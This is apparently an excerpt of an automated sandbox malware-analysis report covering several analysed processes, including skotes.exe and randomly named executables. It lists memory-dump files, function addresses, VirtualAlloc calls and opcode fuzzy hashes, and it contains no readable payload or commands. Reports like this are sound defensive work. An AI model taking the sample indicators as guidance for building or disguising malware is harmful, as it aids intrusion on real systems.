Associated: 00000004.00000002.2205753275.00000000010B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205783295.00000000010BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205829635.00000000010BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205855584.00000000010BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205916271.00000000010BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205946344.00000000010C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206005405.00000000010C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206032827.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206086538.00000000010CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206157739.0000000001123000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206182305.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206294282.0000000001142000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206313570.0000000001144000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e90000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 89a5096c08ba00581458cea7601f2a21103de587e5e3ca44854f9901219e6d2b
Instruction ID: 68a39c83081c106c57bbe51b71956c0839747898ec762eee8cc45ae06d01623a
Opcode Fuzzy Hash: 89a5096c08ba00581458cea7601f2a21103de587e5e3ca44854f9901219e6d2b
Instruction Fuzzy Hash: E3D0C7B350D616BE7640DAA5680897F27DCD9C9651720D919F4CAC2505E12048419761

Function 00E9E5D6 Relevance: 1.3, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00E9EAFF

Memory Dump Source

Source File: 00000004.00000002.2204417101.0000000000E9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000004.00000002.2204332587.0000000000E90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204389276.0000000000E96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204448054.0000000000EA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204609326.000000000100D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204666833.0000000001010000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204720932.0000000001020000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204839086.0000000001023000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.0000000001024000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204929957.0000000001033000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204958590.0000000001038000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204989386.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205015474.0000000001040000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205042138.0000000001041000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205068489.0000000001042000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205094833.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205121563.0000000001044000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205155459.000000000105C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205247582.000000000107B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205279055.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205327132.000000000108C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205358374.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205395715.0000000001098000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205437464.0000000001099000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205470055.00000000010A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205498934.00000000010A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205538142.00000000010A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205571973.00000000010A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205597672.00000000010B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205627690.00000000010B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205653959.00000000010B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205680408.00000000010B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205727438.00000000010B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205753275.00000000010B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205783295.00000000010BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205829635.00000000010BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205855584.00000000010BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205916271.00000000010BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205946344.00000000010C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206005405.00000000010C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206032827.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206086538.00000000010CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206157739.0000000001123000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206182305.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206294282.0000000001142000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206313570.0000000001144000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e90000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7e30c24885677293993dfe4104a6cdac60492803808b987fd15b6f735572f266
Instruction ID: c92936cebdfa7ff13a76873516580cb77e283a4b4dbc48e49f3d8ec34df3cd22
Opcode Fuzzy Hash: 7e30c24885677293993dfe4104a6cdac60492803808b987fd15b6f735572f266
Instruction Fuzzy Hash: EA1166B250C250EFDB01AF68D8886BEFBE4EF44720F12492DEAD586250E3314890DB93

Function 00E9F081 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00E9F75B

Memory Dump Source

Source File: 00000004.00000002.2204417101.0000000000E9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000004.00000002.2204332587.0000000000E90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204389276.0000000000E96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204448054.0000000000EA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204609326.000000000100D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204666833.0000000001010000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204720932.0000000001020000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204839086.0000000001023000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.0000000001024000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204929957.0000000001033000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204958590.0000000001038000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204989386.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205015474.0000000001040000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205042138.0000000001041000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205068489.0000000001042000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205094833.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205121563.0000000001044000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205155459.000000000105C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205247582.000000000107B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205279055.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205327132.000000000108C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205358374.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205395715.0000000001098000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205437464.0000000001099000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205470055.00000000010A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205498934.00000000010A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205538142.00000000010A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205571973.00000000010A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205597672.00000000010B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205627690.00000000010B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205653959.00000000010B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205680408.00000000010B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205727438.00000000010B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205753275.00000000010B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205783295.00000000010BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205829635.00000000010BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205855584.00000000010BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205916271.00000000010BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205946344.00000000010C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206005405.00000000010C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206032827.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206086538.00000000010CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206157739.0000000001123000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206182305.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206294282.0000000001142000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206313570.0000000001144000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e90000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: caccb7c1c547ad26ba3facf72d43026070f15b155d78b39aeea786ad9b7cee20
Instruction ID: 105550881a20eb78362b8a0d2d6369139f505da951a46e70cc1d6aa88bb72023
Opcode Fuzzy Hash: caccb7c1c547ad26ba3facf72d43026070f15b155d78b39aeea786ad9b7cee20
Instruction Fuzzy Hash: 1CE09275008A098FDB49AF7084991AEBBA0EF14321F124A2ED8E296681D7350C90CB06

Analysis Process: S39605Y99PQJP70DBWYAE5A.exePID: 2208, Parent PID: 6996COMMON

Executed Functions

Function 05100CA8 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1269141daa93ad9e2159fdf2dfa13e3317970c035310812265d2a6324d17ce7f
Instruction ID: 10e1cc758855ff2e0f4fa9f4ed4865c07c45f59839b84410c23182082724c7eb
Opcode Fuzzy Hash: 1269141daa93ad9e2159fdf2dfa13e3317970c035310812265d2a6324d17ce7f
Instruction Fuzzy Hash: FE2107FF24C1217DB156C5862F18EFB6B6EE1C6B30772942BF802C5442D3C94A4E2172

Function 05100C9F Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c544e9aaf83f2cccedb3f5193f70ab4d7fcdc1411a51b67b13dc8c34e188183e
Instruction ID: 65c7b47e7b1fdcbc82baa00bc78eeedd7c685a987dc8ffe8a2bea1faf987e192
Opcode Fuzzy Hash: c544e9aaf83f2cccedb3f5193f70ab4d7fcdc1411a51b67b13dc8c34e188183e
Instruction Fuzzy Hash: 9D21E5FF24C1247D7166D5422F18EFB6A6EE1C67307729826F806D5442E3C94A4E2131

Function 05100CD6 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be14b91d3b7c224f6abde7157d08926f9fe66632d8d0db206aabe84742090175
Instruction ID: 86fb70b3af10785ad967e9feea706a1dfc62b20e9adf8e9b80824ce123a50cca
Opcode Fuzzy Hash: be14b91d3b7c224f6abde7157d08926f9fe66632d8d0db206aabe84742090175
Instruction Fuzzy Hash: 8011B4FF24C1247D7156D5826B28AFB6B6EE1C6730772D827F806D5446E3D90A8E2232

Function 05100D01 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: defb7bad696f73a99f0bee56691a53d5573ae8d9d19275292602c275faf2c1bf
Instruction ID: cf64278013a0e63e9d1a8267b280e4e9e9c10fd555ab362e738406b51276029b
Opcode Fuzzy Hash: defb7bad696f73a99f0bee56691a53d5573ae8d9d19275292602c275faf2c1bf
Instruction Fuzzy Hash: B4118EFF14C1107EB262D5952B18AFA3B6EE5C67307328426F402C5443D3D95F4B6271

Function 05100D5B Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8211e0718e702388a0bc39eef8195c193e3a561d08157a4f1748ecdafb48ef9
Instruction ID: 64cc51957ff406ddd88d032d6520c64ebb5546ac8d5c81af65b1d589899e3cd1
Opcode Fuzzy Hash: f8211e0718e702388a0bc39eef8195c193e3a561d08157a4f1748ecdafb48ef9
Instruction Fuzzy Hash: 7DF019FF249124BEB151D5866B18AFB6B2EE5C6730731C42BF806D5442E3D90E8E2231

Function 05100DF1 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 253301479b6dde4366b5c61df30319204ca8407a8583a0a077e4afff1222a21a
Instruction ID: 0a3ad98655b85cb94484a39c8e85d6d66a5bd8454d7dfc85b04b7436fc3d4109
Opcode Fuzzy Hash: 253301479b6dde4366b5c61df30319204ca8407a8583a0a077e4afff1222a21a
Instruction Fuzzy Hash: 2BF0D1FF20C1106EB119D552661CABB7B6EE5C5730332D82BF442C5082D3D54E8F2671

Function 05100D71 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ebd457010d29e617c100d2cc8110c1c31774bd5b0b3e7befb4a81a976752106
Instruction ID: a5a86c301b1b73065d6be78b025ab852de96e2fd674c1994306290190a9fb1ac
Opcode Fuzzy Hash: 7ebd457010d29e617c100d2cc8110c1c31774bd5b0b3e7befb4a81a976752106
Instruction Fuzzy Hash: 56F037BF2190207DB052D6427B18AFB672EE1D6730331C827F042D1443D3C90E8E2672

Function 05100D9D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2121428125.0000000005100000.00000040.00001000.00020000.00000000.sdmp, Offset: 05100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5100000_S39605Y99PQJP70DBWYAE5A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6009d2fd5103d72bf6891abf7572a0ea7233c54ecdb58f887f18b4d2f10c4a2a
Instruction ID: db19c4c823d4f1e77c62372fc4c04ac14170aad250cdefcc41be3e5b78e6b55a
Opcode Fuzzy Hash: 6009d2fd5103d72bf6891abf7572a0ea7233c54ecdb58f887f18b4d2f10c4a2a
Instruction Fuzzy Hash: 69E01AFF248410AEB051E5427A28AFB6B7DE4D5B30B72C837F446D6042D3C90E8E2571

Analysis Process: skotes.exePID: 2916, Parent PID: 2208COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	10
Total number of Limit Nodes:	0

Executed Functions

Function 001BF1DB Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 001BF213

Strings

@kCa, xrefs: 001BF1FE

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID: @kCa
API String ID: 4275171209-523497192
Opcode ID: a7cc8d316b1c6bedaa335777e7bdff9d1927c317960afd2320b7790270a1172e
Instruction ID: 5628e139bed014e475db2794daae02e0e5f65d4101e45973dcba96acfe00b798
Opcode Fuzzy Hash: a7cc8d316b1c6bedaa335777e7bdff9d1927c317960afd2320b7790270a1172e
Instruction Fuzzy Hash: F7F0A972008308EFC7096F68C8496FEBBF0EF15711F128A2EE882C2A90D3308D40DB42

Function 001C01B5 Relevance: 1.3, APIs: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 001C01CA

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cdb3507406ea42d0fc9f53067be9359a2c92ac0f12d89e42c5231434a9164ca8
Instruction ID: bbeca009be45665ac7b6a8bf61b3e592ad56bca7da28a5880f3b0502d9d02bda
Opcode Fuzzy Hash: cdb3507406ea42d0fc9f53067be9359a2c92ac0f12d89e42c5231434a9164ca8
Instruction Fuzzy Hash: 4E012673849520CADB1E5F288800BE97BE4EB39350F27016FDD8543280D3318C22C786

Function 001C011B Relevance: 1.3, APIs: 1, Instructions: 31
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 001C01CA

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bf34507548ad33ee8cdfb4cbc3bb180b297454af4e21ce8b4316fadc85a16324
Instruction ID: 4438126c8dd961a3aa37e666a3ed01664bd6da6b8b984bdcb3bc0b4e48bb1f4b
Opcode Fuzzy Hash: bf34507548ad33ee8cdfb4cbc3bb180b297454af4e21ce8b4316fadc85a16324
Instruction Fuzzy Hash: 61F0ECB5408110EBE7192F08D801BFEBAE4EB98361F02852EEBC142280E3314C20DB9B

Function 001C0078 Relevance: 1.3, APIs: 1, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 001C01CA

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 301322450edb5e2069d7935e93535171ced9ebe8d9ce1b79d6b57a264c5c697e
Instruction ID: ce830f432751100b3a0e3057e8bc5a2f3aca89f15dc18e50fc8b6f85bb74d4bc
Opcode Fuzzy Hash: 301322450edb5e2069d7935e93535171ced9ebe8d9ce1b79d6b57a264c5c697e
Instruction Fuzzy Hash: A2E0ECB9418215DFDB192F18D445AEEFBF4EF18354F52091EEDC142290E3725860DB97

Non-executed Functions

Function 001BE9A9 Relevance: 1.5, Strings: 1, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

NTDL, xrefs: 001BEC64

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: afa89ded2b5af15c4f99846dbbaf52ecfa9ec5e5ae8bc6a2f281937f570642ab
Instruction ID: c5337a7c5daf1d83ba90ce6efaa33b89c3e0a12aef24bc75022a8b72d33b51ae
Opcode Fuzzy Hash: afa89ded2b5af15c4f99846dbbaf52ecfa9ec5e5ae8bc6a2f281937f570642ab
Instruction Fuzzy Hash: 8981CE7654820ECFCB19CE65C1401EF7BE5FF5A321F35452AE80293A42D3B29D21EB5A

Function 0024545A Relevance: 1.4, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

uWzw, xrefs: 00245536

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID:
String ID: uWzw
API String ID: 0-266846820
Opcode ID: 0bc2ea875eab74456de456d66d9f1e521327924cbd70c750947a508b23863c16
Instruction ID: 8ba1195f4ecc1e6fc18329fe2543365b7be9c32498a0feaf9ac1b2e2db40e233
Opcode Fuzzy Hash: 0bc2ea875eab74456de456d66d9f1e521327924cbd70c750947a508b23863c16
Instruction Fuzzy Hash: 9141E7F3E082105FF7045A39EC947BABBDADB94320F2B463DEB8993784D93958054296

Function 00215A58 Relevance: .3, Instructions: 255
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e6f699a0975a092ea3045147bbbc465555b2fb00ebe4b307100fca80472379
Instruction ID: 45322c8e4c572b0066b02ebbd3eb8b7a25c9f03986355d291ebc4b2c1c57f6f8
Opcode Fuzzy Hash: 49e6f699a0975a092ea3045147bbbc465555b2fb00ebe4b307100fca80472379
Instruction Fuzzy Hash: 2A81DEB3F512254BF3580D78CC993A22683EB95310F2F82798E496B7C6DCBE5C4A5384

Function 001C9495 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dbe954c39e4af15d37226488443e5ee213a395e970cda83ee1f0bad0525d989
Instruction ID: d46bc89f6573d013fd0f7b5482513f42c0b36811b37a0942312443ecb6800503
Opcode Fuzzy Hash: 1dbe954c39e4af15d37226488443e5ee213a395e970cda83ee1f0bad0525d989
Instruction Fuzzy Hash: 98719CB3F412250BF3540D78CDA83A26683DB95314F2F82798E896BBC6DD7E5D0A5280

Function 001C19A8 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c791a9c1c9699fe91de4be2b78239b267c4b24ab23a9881c30bc47d8123836b
Instruction ID: 612984205b110dfe4fd0e47eeb8c0740ea85559b0abf5f438527eb49a8b4cdf2
Opcode Fuzzy Hash: 7c791a9c1c9699fe91de4be2b78239b267c4b24ab23a9881c30bc47d8123836b
Instruction Fuzzy Hash: 59519FB3F111254BF3448D38CD583A23693E7D4304F2E81788A88ABBCAD97E9D0A5384

Function 001F2A54 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2088766800.00000000001BB000.00000040.00000001.01000000.0000000C.sdmp, Offset: 001BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_1bb000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9914fd51cb83bee877f4c6968437a328f3e15fd8a14292b805910b3922d52445
Instruction ID: 0eb4529db4f96430d7361c37a56964b8c5a3fc78c746e3cfd51cea07d853272e
Opcode Fuzzy Hash: 9914fd51cb83bee877f4c6968437a328f3e15fd8a14292b805910b3922d52445
